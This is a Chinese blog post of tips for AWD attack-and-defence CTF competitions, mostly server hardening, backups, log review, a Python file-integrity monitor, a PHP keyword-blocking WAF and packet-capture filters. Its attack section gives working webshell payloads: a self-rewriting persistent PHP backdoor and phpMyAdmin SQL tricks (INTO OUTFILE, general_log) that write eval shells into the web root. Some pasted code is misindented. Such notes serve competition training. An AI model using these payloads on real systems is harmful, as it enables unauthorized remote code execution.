CTF-AWD

原创

34° 微醺酒心 于 2021-10-04 15:09:21 发布 1901 收藏 5

分类专栏： CTF 文章标签： python 系统安全 web安全 linux

本文链接：https://blog.csdn.net/weixin_45042115/article/details/120604074

CTF-AWD

AWD (Attack With Defence)，比赛中每个队伍维护多台服务器，服务器中存在多个漏洞，利用漏洞攻击其他队伍可以进行得分，修复漏洞可以避免被其他队伍攻击失分。简而言之就是你既是一个hacker，又是一个manager。

发表一篇个人比赛经验，写的不全，写的不好，大佬勿喷，还请多指教。

必备操作

：

备份网站文件

修改数据库默认密码

修改网页登陆端一切弱密码

查看是否留有后门账户

关闭不必要端口，如远程登陆端口

使用命令匹配一句话特性

关注是否运行了“特殊”进程

权限高可以设置防火墙或者禁止他人修改本目录

防御

ssh远程登录

一、口令登录

口令登录非常简单，只需要一条命令，命令格式为： ssh 客户端用户名@服务器ip地址 eg:

ssh ldz@192.168.0.1
如果需要调用图形界面程序可以使用 -X 选项

ssh -X ldz@192.168.0.1
如果客户机的用户名和服务器的用户名相同，登录时可以省略用户名。

ssh 192.168.0.1
还要说明的是，SSH服务的默认端口是22，也就是说，如果你不设置端口的话登录请求会自动送到远程主机的22端口。我们可以使用 -p 选项来修改端口号，比如连接到服务器的1234端口：

ssh -p 1234 ldz@192.168.0.1

源码备份及恢复

```
cd /var/www/html
tar -zcvf ~/html.tar.gz *Copy
#目录在/home/admin
还原
rm -rf /var/www/html
tar -zxvf ~/html.tar.gz -C /var/www/htmlCopy
或
cd /var/www/html
rm -rf *
tar -zxvf ~/html.tar.gz
数据库备份

cd /~

mysqldump -u root -p --all-databases > ~/backsql.sql
数据库恢复
1. 系统命令行：

mysqladmin -uroot -p123456 create db_name
mysql -uroot -p123456  db_name < d:\bak\0101.sql

注：在导入备份数据库前，db_name如果没有，是需要创建的； 而且与backup20110527.sql中数据库名是一样的才可以导入。
2. soure 方法：

mysql > use db
mysql > source d:\bak\0101.sql
```

修改SSH密码

passwd {用户名}
做修改即可.

修改密码的命令 首先输入passwd 回车 出现：(current) UNIX password: 然后输入现在所用的密码 回车 出现：New password: 再输入新密码（新的密码必须是字母数字都有，不然的话不成功） 然后回车 与Windows下不同的是，输入的密码不会有星号代替，也出现明文修改密码的命令
首先输入passwd 回车
出现：(current) UNIX password:
然后输入现在所用的密码 回车
出现：New password:
再输入新密码（新的密码必须是字母数字都有，不然的话不成功） 然后回车

linux修改ssh端口22
vi /etc/ssh/ssh_config
vi /etc/ssh/sshd_config

然后修改为port 8888
以root身份service sshd restart (redhat as3)
使用putty,端口8888

Linux下SSH默认的端口是22,为了安全考虑，现修改SSH的端口为1433,修改方法如下：
/usr/sbin/sshd -p 1433

为增强安全，先增加一个普通权限的用户：
#useradd uploader
#passwd uploader

//设置密码

生产机器禁止ROOT远程SSH登录：
#vi /etc/ssh/sshd_config

把
PermitRootLogin yes
改为
PermitRootLogin no
重启sshd服务
#service sshd restart

查看端口 以及关闭端口

1. 可以通过"netstat -anp" 来查看哪些端口被打开。

```
netstat -anp
netstat -ntl
  关闭端口：
netstat -anp |grep 端口
```

2. 可以查看文件/etc/services，从里面可以找出端口所对应的服务。

```
cd /etc/services
```

若要关闭某个端口，则可以：
1)通过iptables工具将该端口禁掉，如：

```
"sudo iptables -A INPUT -p tcp --dport $PORT -j DROP"
"sudo iptables -A OUTPUT -p tcp --dport $PORT -j DROP"
```

2)或者关掉对应的应用程序，则端口就自然关闭了，如：

```
"kill -9 PID" (PID：进程号)
如：    通过"netstat -anp | grep ssh"
有显示：    tcp 0 127.0.0.1:2121 0.0.0.0:* LISTEN 7546/ssh
则：    "kill -9 7546"
```

以下是linux打开端口命令的使用方法。

```
nc -lp 23 &(打开23端口，即telnet)
      netstat -an | grep 23 (查看是否打开23端口)
iptables -A INPUT -ptcp --dport  716-j ACCEPT
```

关闭查看多余用户

```
cat /etc/passwd
w       //查看当前用户
pkill -kill -t <用户tty>       //踢掉当前登录用户
 删除用户
userdel -r 用户
```

查看已建立的网络连接以及对应进程

```
netstat -antulp | grep EST
```

进程管理

```
查看进程信息ps aux | grep pid或者进程名       查看指定端口被哪个进程占用
```

```
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
```

```
结束进程命令kill PIDkillall <进程名>kill -9 <PID>
```

iptables命令 封杀ip登录

```
封杀某个IP或者ip段，如：123.4.5.6 iptables -I INPUT -s 123.4.5.6 -j DROP iptables -I INPUT -s 123.4.5.1/24 -j DROP禁止从某个主机ssh远程访问登陆到本机，如123.4.5.6iptable -t filter -A INPUT -s 123.4.5.6 -p tcp --dport 22 -j DROP
```

安全检查

```
find / *.php -perm 4777        //查找777的权限的php文件 awk -F: '{if($3==0)print $1}' crontab -l       //查看计划任务检测所有的tcp连接数量及状态netstat -ant|awk '{print $5 "\t" $6}' |grep "[1-9][0-9]*\."|sed -e 's/::ffff://' -e 's/:[0-9]*//'|sort|uniq -c|sort -rn       查看页面访问排名前十的IPcat /var/log/apache2/access.log  | cut -f1 -d " " | sort | uniq -c | sort -k 1 -r | head -10       查看页面访问排名前十的URLcat /var/log/apache2/access.log  | cut -f4 -d " " | sort | uniq -c | sort -k 1 -r | head -10
```

mysql

mysq查看密码

```
cat  /var/www/html/config.php
```

mysql更改用户密码命令有

：

方法1： 用SET PASSWORD命令

```
mysql -u root -puse mysqlupdate user set password = PASSWORD("cczka") where user="root";flush privileges;
```

phpmyadmin

限定IP登录

在 phpmyadmin中的 config.inc.php中加上

$ip_prefix=“ip”;

if(substr($ERVER[REMOTE\ \ DDP],0,strleng(_ip_prefix)) !=$ip_prefix) die(“nmsl”);

备份

```
# 备份所有数据库，-A参数mysqldump -uroot -p123456 -A > /backup/all_db.sql
```

```
# 恢复数据mysqldump -uroot -p123456 dbname < xxx.sql
```

文件监控

```
# -*- coding: utf-8 -*-
#use python2

import os
import hashlib
import shutil
import ntpath
import time

CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_JWI96TY7ZKNMQPDRUOSG0FLH41A3C5EXVB82'
bakstring = 'bak_EAR1IBM0JT9HZ75WU4Y3Q8KLPCX26NDFOGVS'
logstring = 'log_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
webshellstring = 'webshell_WMY4RVTLAJFB28960SC3KZX7EUP1IHOQN5GD'
difffile = 'diff_UMTGPJO17F82K35Z0LEDA6QB9WH4IYRXVSCN'

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
                    return unicode(value, UNICODE_ENCODING)
```

```
            except:
                value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
    except Exception, e:
        print u'[!] getmd5_error : ' + getUnicode(filepath)
        print getUnicode(e)
        try:
            ORIGIN_FILE_LIST.remove(filepath)
            FILE_MD5_DICT.pop(filepath, None)
        except KeyError, e:
            pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
    # if len(os.listdir(Special_path['bak'])) == 0:
    for filepath in filelist:
        if Special_path_str not in filepath:
```

```
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print u'----------持续监测文件中------------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST) # TODO 备份文件可能会产生重名BUG
    print u'[*] 所有文件已备份完毕!'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            # import pdb;pdb.set_trace()
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*]查杀疑似WebShell上传文件:  ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                    except Exception as e:
                        print u'[!] 移动文件失败, "%s" 疑似WebShell，请及时处理.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('newfile: ' + getUnicode(filepath) + ' : ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] 记录失败：上传文件: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] 该文件被修改 : ' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.move(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                    except Exception as e:
                        print u'[!] 移动文件失败, "%s" 疑似WebShell，请及时处理.'%getUnicode(filekey)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('diff_file: ' + getUnicode(filekey) + ' : ' + getUnicode(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-]记录失败：被修改文件: ' + getUnicode(filekey)
                        pass
        time.sleep(2)
        # print '[*] ' + getUnicode(time.ctime())
```

优化后：

```
# -*- coding: utf-8 -*-
import os
import re
import hashlib
import shutil
import ntpath
import time
import sys


# 设置系统字符集，防止写入log时出现错误
reload(sys)
sys.setdefaultencoding('utf-8')
CWD = os.getcwd()
FILE_MD5_DICT = {}      # 文件MD5字典
ORIGIN_FILE_LIST = []

# 特殊文件路径字符串
Special_path_str = 'drops_B0503373BDA6E3C5CD4E5118C02ED13A' #drops_md5(icecoke1024)
bakstring = 'back_CA7CB46E9223293531C04586F3448350'          #bak_md5(icecoke1)
logstring = 'log_8998F445923C88FF441813F0F320962C'          #log_md5(icecoke2)
webshellstring = 'webshell_988A15AB87447653EFB4329A90FF45C5'#webshell_md5(icecoke3)
difffile = 'difference_3C95FA5FB01141398896EDAA8D667802'          #diff_md5(icecoke4)

Special_string = 'drops_log'  # 免死金牌
UNICODE_ENCODING = "utf-8"
INVALID_UNICODE_CHAR_FORMAT = r"\?%02x"

# 文件路径字典
spec_base_path = os.path.realpath(os.path.join(CWD, Special_path_str))
Special_path = {
    'bak' : os.path.realpath(os.path.join(spec_base_path, bakstring)),
    'log' : os.path.realpath(os.path.join(spec_base_path, logstring)),
    'webshell' : os.path.realpath(os.path.join(spec_base_path, webshellstring)),
    'difffile' : os.path.realpath(os.path.join(spec_base_path, difffile)),
}

def isListLike(value):
    return isinstance(value, (list, tuple, set))

# 获取Unicode编码
def getUnicode(value, encoding=None, noneToNull=False):

    if noneToNull and value is None:
        return NULL

    if isListLike(value):
        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
        return value

    if isinstance(value, unicode):
        return value
    elif isinstance(value, basestring):
        while True:
            try:
                return unicode(value, encoding or UNICODE_ENCODING)
            except UnicodeDecodeError, ex:
                try:
```

```
            try:
                return unicode(value, UNICODE_ENCODING)
            except:
                value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
    else:
        try:
            return unicode(value)
        except UnicodeDecodeError:
            return unicode(str(value), errors="ignore")

# 目录创建
def mkdir_p(path):
    import errno
    try:
        os.makedirs(path)
    except OSError as exc:
        if exc.errno == errno.EEXIST and os.path.isdir(path):
            pass
        else: raise

# 获取当前所有文件路径
def getfilelist(cwd):
    filelist = []
    for root,subdirs, files in os.walk(cwd):
        for filepath in files:
            originalfile = os.path.join(root, filepath)
            if Special_path_str not in originalfile:
                filelist.append(originalfile)
    return filelist

# 计算机文件MD5值
def calcMD5(filepath):
    try:
        with open(filepath,'rb') as f:
            md5obj = hashlib.md5()
            md5obj.update(f.read())
            hash = md5obj.hexdigest()
            return hash
# 文件MD5消失即为文件被删除，恢复文件
    except Exception, e:
        print u'[*] 文件被删除 : ' + getUnicode(filepath)
    shutil.copyfile(os.path.join(Special_path['bak'], ntpath.basename(filepath)), filepath)
    for value in Special_path:
        mkdir_p(Special_path[value])
        ORIGIN_FILE_LIST = getfilelist(CWD)
        FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    print u'[+] 被删除文件已恢复！ '
    try:
         f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
         f.write('deleted_file: ' + getUnicode(filepath) + ' 时间: ' + getUnicode(time.ctime()) + '\n')
         f.close()
    except Exception as e:
         print u'[-] 记录失败 : 被删除文件: ' + getUnicode(filepath)
         pass

# 获取所有文件MD5
def getfilemd5dict(filelist = []):
    filemd5dict = {}
    for ori_file in filelist:
        if Special_path_str not in ori_file:
```

```
            md5 = calcMD5(os.path.realpath(ori_file))
            if md5:
                filemd5dict[ori_file] = md5
    return filemd5dict

# 备份所有文件
def backup_file(filelist=[]):
    for filepath in filelist:
        if Special_path_str not in filepath:
            shutil.copy2(filepath, Special_path['bak'])

if __name__ == '__main__':
    print u'---------持续监测文件中----------'
    for value in Special_path:
        mkdir_p(Special_path[value])
    # 获取所有文件路径，并获取所有文件的MD5，同时备份所有文件
    ORIGIN_FILE_LIST = getfilelist(CWD)
    FILE_MD5_DICT = getfilemd5dict(ORIGIN_FILE_LIST)
    backup_file(ORIGIN_FILE_LIST)
    print u'[*] 所有文件已备份完毕！'
    while True:
        file_list = getfilelist(CWD)
        # 移除新上传文件
        diff_file_list = list(set(file_list) ^ set(ORIGIN_FILE_LIST))
        if len(diff_file_list) != 0:
            for filepath in diff_file_list:
                try:
                    f = open(filepath, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] 查杀疑似WebShell上传文件: ' + getUnicode(filepath)
                        shutil.move(filepath, os.path.join(Special_path['webshell'], ntpath.basename(filepath) + '.txt'))
                        print u'[+] 新上传文件已删除!'
                    except Exception as e:
                        print u'[!] 移动文件失败, "%s" 疑似WebShell，请及时处理.'%getUnicode(filepath)
                    try:
                        f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                        f.write('new_file: ' + getUnicode(filepath) + ' 时间: ' + str(time.ctime()) + '\n')
                        f.close()
                    except Exception as e:
                        print u'[-] 记录失败：上传文件: ' + getUnicode(e)

        # 防止任意文件被修改,还原被修改文件
        md5_dict = getfilemd5dict(ORIGIN_FILE_LIST)
        for filekey in md5_dict:
            if md5_dict[filekey] != FILE_MD5_DICT[filekey]:
                try:
                    f = open(filekey, 'r').read()
                except Exception, e:
                    break
                if Special_string not in f:
                    try:
                        print u'[*] 该文件被修改：' + getUnicode(filekey)
                        shutil.move(filekey, os.path.join(Special_path['difffile'], ntpath.basename(filekey) + '.txt'))
                        shutil.copyfile(os.path.join(Special_path['bak'], ntpath.basename(filekey)), filekey)
                        print u'[+] 文件已复原!'
                    except Exception as e:
                        print u'[!] 移动文件失败, "%s" 疑似WebShell，请及时处理.'%getUnicode(filekey)
```

```
                print u'[!] 移动文件失败，"%s"疑似WebShell，请及时处理！' %getUnicode(filekey)
            try:
                f = open(os.path.join(Special_path['log'], 'log.txt'), 'a')
                f.write('difference_file: ' + getUnicode(filekey) + ' 时间: ' + getUnicode(time.ctime()) + '\n')
                f.close()
            except Exception as e:
            print u'[-] 记录失败：被修改文件: ' + getUnicode(filekey)
                pass
    time.sleep(2)
```

WAF

```
<?php
error_reporting(0);
define('LOG_FILENAME', 'log.txt');
function waf() {
    if (!function_exists('getallheaders')) {
        function getallheaders() {
            foreach ($_SERVER as $name => $value) {
                if (substr($name, 0, 5) == 'HTTP_') $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5))))) ] = $valu
e;
            }
            return $headers;
        }
    }
    $get = $_GET;
    $post = $_POST;
    $cookie = $_COOKIE;
    $header = getallheaders();
    $files = $_FILES;
    $ip = $_SERVER["REMOTE_ADDR"];
    $method = $_SERVER['REQUEST_METHOD'];
    $filepath = $_SERVER["SCRIPT_NAME"];
    //rewirte shell which uploaded by others, you can do more
    foreach ($_FILES as $key => $value) {
        $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
        file_put_contents($_FILES[$key]['tmp_name'], "virink");
    }
    unset($header['Accept']); //fix a bug
    $input = array(
        "Get" => $get,
        "Post" => $post,
        "Cookie" => $cookie,
        "File" => $files,
        "Header" => $header
    );
    //deal with
    $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
    $pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
    $pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
    $pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
    $vpattern = explode("|", $pattern);
    $bool = false;
    foreach ($input as $k => $v) {
        foreach ($vpattern as $value) {
            foreach ($v as $kk => $vv) {
                if (preg_match("/$value/i", $vv)) {
                    $bool = true;
                    logging($input);
                    break;
```

```
            }
        }
        if ($bool) break;
    }
    if ($bool) break;
  }
}
function logging($var) {
 date_default_timezone_set("Asia/Shanghai");//修正时间为中国准确时间
 $time=date("Y-m-d H:i:s");//将时间赋值给变量$time
   file_put_contents(LOG_FILENAME, "\r\n\r\n\r\n" . $time . "\r\n" . print_r($var, true) , FILE_APPEND);
   // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);

}
waf();
?>
```

root权限

```
vim php.iniauto_append_file = "/var/www/html/phpwaf.php"重启 Apache 或者 php-fpm /usr/local/sbin/apachectl graceful #重启apache 不断链接或写入.user.ini 或者 .htaccess php_value auto_prepend_file"/var/www/html/phpwaf.php"sudo find /var/www/html/ -type f -path "*.php" | xargs sed -i "s/<?php /<?php\nrequire_once('\/var\/www\/html\/log.php');\n/g"
```

干掉不死马

(1). `ps auxww|grep shell.php` 找到pid后杀掉进程就可以，你删掉脚本是起不了作用的，因为php执行的时候已经把脚本读进去解释成opcode运行了

(2).重启php等web服务

(3).用一个ignore_user_abort(true)脚本，一直竞争写入（断断续续）。usleep要低于对方不死马设置的值。

(4).创建一个和不死马生成的马一样名字的文件夹。

流量监控

Wireshark分析

Comparing operators（比较运算符）：
英文写法 C语言写法 含义
eq == 等于
ne != 不等于
gt > 大于
lt < 小于
ge >= 大于等于
le <= 小于等于

Logical expressions（逻辑运算符）：
英文写法 C语言写法 含义
and && 逻辑与
or | *2 逻辑或
xor ^^ 逻辑异或
not ！ 逻辑非
——————————————

过滤规则

过滤IP地址

(1) ip.addr == 192.168.1.1 //只显示源/目的IP为192.168.1.1的数据包(2) not ip.src == 1.1.1.1 //不显示源IP为1.1.1.1的数据包(3) ip.src == 1.1.1.1 or ip.dst == 1.1.1.2 //只显示源IP为1.1.1.1或目的IP为1.1.1.2的数据包

过滤端口

(1) tcp.port eq 80 #不管端口是来源还是目的都显示80端口(2) tcp.port == 80(3) tcp.port eq 2722(4) tcp.port eq 80 or udp.port eq 80(5) tcp.dstport == 80 #只显示tcp协议的目标端口80(6) tcp.srcport == 80 #只显示tcp协议的来源端口80(7) udp.port eq 15000(8) tcp.port >= 1 and tcp.port <= 80 #过滤端口范围

过滤MAC

(1) eth.dst == MAC地址 #过滤目标MAC(2) eth.src eq MAC地址 #过滤来源MAC(3)eth.addr eq MAC地址 #过滤来源MAC和目标MAC都等于MAC地址的

http请求方式过滤

(1) http.request.method == “GET”(2) http.request.method == “POST”(3) http.host mathes “www.baidu.com|baidu.cn” #matches可以写多个域名(4) http.host contains “www.baidu.com” #contain只能写一个域名(5) http contains “GET”例如：http.request.method ==“GET” && http contains "Host: "http.request.method == “GET” && http contains "User-Agent: "http.request.method ==“POST” && http contains "Host: "http.request.method == “POST” && http contains "User-Agent: "http contains “HTTP/1.1 200 OK” && http contains "Content-Type: "http contains “HTTP/1.0 200 OK” && http contains "Content-Type: "

TCPdump分析

tcpdump采用命令行方式，它的命令格式为：tcpdump [-adeflnNOpqStvx0] [-c 数量][-F 文件名] [-i 网络接口][-r 文件名] [-s snaplen][-T 类型] [-w 文件名] [表达式]

详细参数

抓包选项： 作用-c： 指定要抓取的包数量。-i interface： 指定tcpdump需要监听的接口。默认会抓取第一个网络接口-n： 对地址以数字方式显式，否则显式为主机名，也就是说-n选项不做主机名解析。-nn： 除了-n的作用外，还把端口显示为数值，否则显示端口服务名。-P： 指定要抓取的包是流入还是流出的包。可以给定的值为"in"、“out"和"inout”，默认为"inout"。-s len： 设置tcpdump的数据包抓取长度为len，如果不设置默认将会是65535字节。对于要抓取的数据包较大时，长度设置不够可能会产生包截断，若出现包截断，输出行中会出现"[proto]"的标志(proto实际会显示为协议名)。但是抓取len越长，包的处理时间越长，并且会减少tcpdump可缓存的数据包的数量，从而会导致数据包的丢失，所以在能抓取我们想要的包的前提下，抓取长度越小越好。

输出选项： 作用-e： 输出的每行中都将包括数据链路层头部信息，例如源MAC和目标MAC。-q： 快速打印输出。即打印很少的协议相关信息，从而输出行都比较简短。-X： 输出包的头部数据，会以16进制和ASCII两种方式同时输出。-XX： 输出包的头部数据，会以16进制和ASCII两种方式同时输出，更详细。-v： 当分析和打印的时候，产生详细的输出。-vv： 产生比-v更详细的输出。-vvv： 产生比-vv更详细的输出。

端口过滤

抓取所有经过ens33，目的或源端口22的网络数据：tcpdump -i ens33 port 22指定源端口：tcpdump -i ens33 sec port 22指定目的端口: tcpdump -i ens33 dst port 22

网络过滤

```
tcpdump -i ens33 net 192.168.1.1tcpdump -i ens33 src net 192.168.1.1 #源端口tcpdump -i ens33 dst net 192.168.1.1 #目的端口
```

协议过滤

```
tcpdump -i ens33 arptcpdump -i ens33 iptcpdump -i ens33 tcptcpdump -i ens33 udptcpdump -i ens33 icmp
```

技巧

```
tcpdump -w 1.pcap #抓所有包保存到1.pcap中然后使用wireshark分析
```

攻击

添加不死马

```
system('while true;do echo \'<?php if(md5($_GET[pass])==\"3a50065e1709acc47ba0c9238294364f\"){@eval($_GET[a]);} ?>\' >fuck.php;sleep 0.1;done;');#md5值（Sn3rtf4ck）
```

phpmyadmin

常规导入shell的操作

```
 创建数据表导出shell  CREATE TABLE `mysql`.`shadow9` (`content` TEXT NOT NULL );  INSERT INTO `mysql`.`shadow9` (`content` ) VALUES (‘<?php @eval($_GET['cmd']);?>’);  SELECT `content` FROM `shadow9` INTO OUTFILE ‘/etc/html/www/./1.php’;  DROP TABLE IF EXISTS `shadow9`;
```

一句话导出shell

```
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/.a.php' set global general_log='on'
```

日志备份获取shell

```
show global variables like "%genera%";  //查询general_log配置 set global general_log='on';  //开启general log模式 SET global general_log_file='/var/www/html/.index.php';  //设置日志文件保存路径 SELECT '<?php @eval($_GET['cmd']);?>';  //phpinfo()写入日志文件 set global general_log='off';  //关闭general_log模式
```

查看日志

linux

```
whouser    查看的都是 /var/log/utmp
```

查找暴力破解ip

```
grep "Failed password for invalid" /var/log/secure | awk '{print $13}'|sort|uniq -c|sort -nr
```

查询暴力破解用户名字典

```
grep "Failed password for invalid" /var/log/secure | awk '{print $11}'|sort|uniq -c|sort -nr
```

查看登录成功的用户以及ip

```
grep "Accepted" /var/log/secure |awk '{print $0}'|sort|uniq -c|sort -nr
```

思路

1.更改ssh密码 MySQL密码 并备份

2.备份html文件 与 MySQL数据库

3.如果有phpmyadmin 就将限定ip代码写入（能用自己电脑， 直接上waf（流量监控脚本，文件上传监控脚本））

4.查看隐藏用户 有的话 删除

5.查看进程，并删除 。遇见删不掉的进程就是不死马了，找到pid 将他删掉因为不死马会占大量cpu，他不断生成文件 。

6.查看端口，将大端口删掉

Linux下sh文件执行问题

这是因为在windows下编写的脚本文件，放到Linux中无法识别格式(一般是换行符的不兼容导致的。windows \r\n linux 是 \n)

Ubuntu解决方法：

```
sudo apt-get install tofrodosfromdos 文件名
```

Centos解决方法：

```
yum -y install dos2unixdos2unix 文件名
```

通用解决方式

```
用vim打开脚本文件，在命令模式下输入set ff=unix回车 保存文件
```

`set ff=unix` : 告诉 vim 编辑器，使用unix换行符

`set ff=unix` ，就是告诉 vim 编辑器，使用unix换行符

`set ff=dos` ，就是告诉 vim 编辑器，使用dos换行符

总结

这篇文章记录我个人的比赛经验和手法，在比赛中环境是千变万化的，是没有绝对安全，谁也不知道，自己的靶机哪里会不会出个漏洞，或者自己并没有加固完善，出现可被利用的漏洞拿也是很正常的，在在比赛中不仅仅要拥有手法，还要拥有冷静的心态，在被比自己更厉害的人拿分或者宕机后，不能慌，不能慌，不能慌，重要的事前说三遍，心态很重要，然后再去查看流量日志或者系统日志进行溯源，发现自己的丢分点，进行加固，防御不死马的连接，防止再次被拿分或者宕机。在攻击的时候最好能熟练使用或者修改脚本，最流行的还是python的脚本，发现payload，一次批量脚本拿分和提交，那会很快乐，就是俗话说的一个人打全场。

在不断学习新知识的过程还要巩固自己的基础，这很重要，细节决定成败，只有虚心请教和学习才会变得更强，不能自大，几分墨几分力。在这个时代同样年纪比我们厉害的大有人在，努力学习吧，让我们一起向大牛的方向前进吧